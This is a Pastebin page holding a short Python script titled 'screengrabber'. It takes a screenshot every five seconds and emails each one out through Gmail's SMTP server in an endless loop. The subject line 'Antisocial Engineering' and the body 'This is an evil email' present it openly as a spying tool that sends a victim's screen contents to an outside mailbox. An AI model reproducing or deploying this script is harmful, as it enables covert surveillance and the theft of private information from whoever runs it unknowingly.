Advertisement
johnmahugu

screengrabber

May 24th, 2016
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.34 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import smtplib
  4. from email.MIMEMultipart import MIMEMultipart
  5. from email.MIMEBase import MIMEBase
  6. from email.MIMEText import MIMEText
  7. from email import Encoders
  8. import os
  9. import time
  10.  
  11. gmail_user =''
  12. gmail_pwd =''
  13.  
  14.  
  15.  
  16. def mail(to, subject, text, attach):
  17.  
  18.    
  19.    import autopy
  20.  
  21.    bitmap = autopy.bitmap.capture_screen()
  22.    bitmap.save('C:\screenshot.png')
  23.  
  24.    msg = MIMEMultipart()
  25.    msg['From'] = gmail_user
  26.    msg['To'] = gmail_user
  27.    msg['Subject'] = subject
  28.  
  29.    msg.attach(MIMEText(text))
  30.  
  31.    part = MIMEBase('application', 'octet-stream')
  32.    part.set_payload(open(attach, 'rb').read())
  33.    Encoders.encode_base64(part)
  34.    part.add_header('Content-Disposition',
  35.            'attachment; filename="%s"' % os.path.basename(attach))
  36.    msg.attach(part)
  37.  
  38.    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
  39.    mailServer.ehlo()
  40.    mailServer.starttls()
  41.    mailServer.ehlo()
  42.    mailServer.login(gmail_user, gmail_pwd)
  43.    mailServer.sendmail(gmail_user,gmail_user, msg.as_string())
  44.    # Should be mailServer.quit(), but that crashes...
  45.    mailServer.close()
  46.  
  47. def main():
  48.       while True:
  49.          
  50.          mail("some.person@some.address.com",
  51.          "Antisocial Engineering",
  52.          "This is an evil email",
  53.          "C:\screenshot.png")
  54.          time.sleep(5)
  55.  
  56. if __name__=='__main__':
  57.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement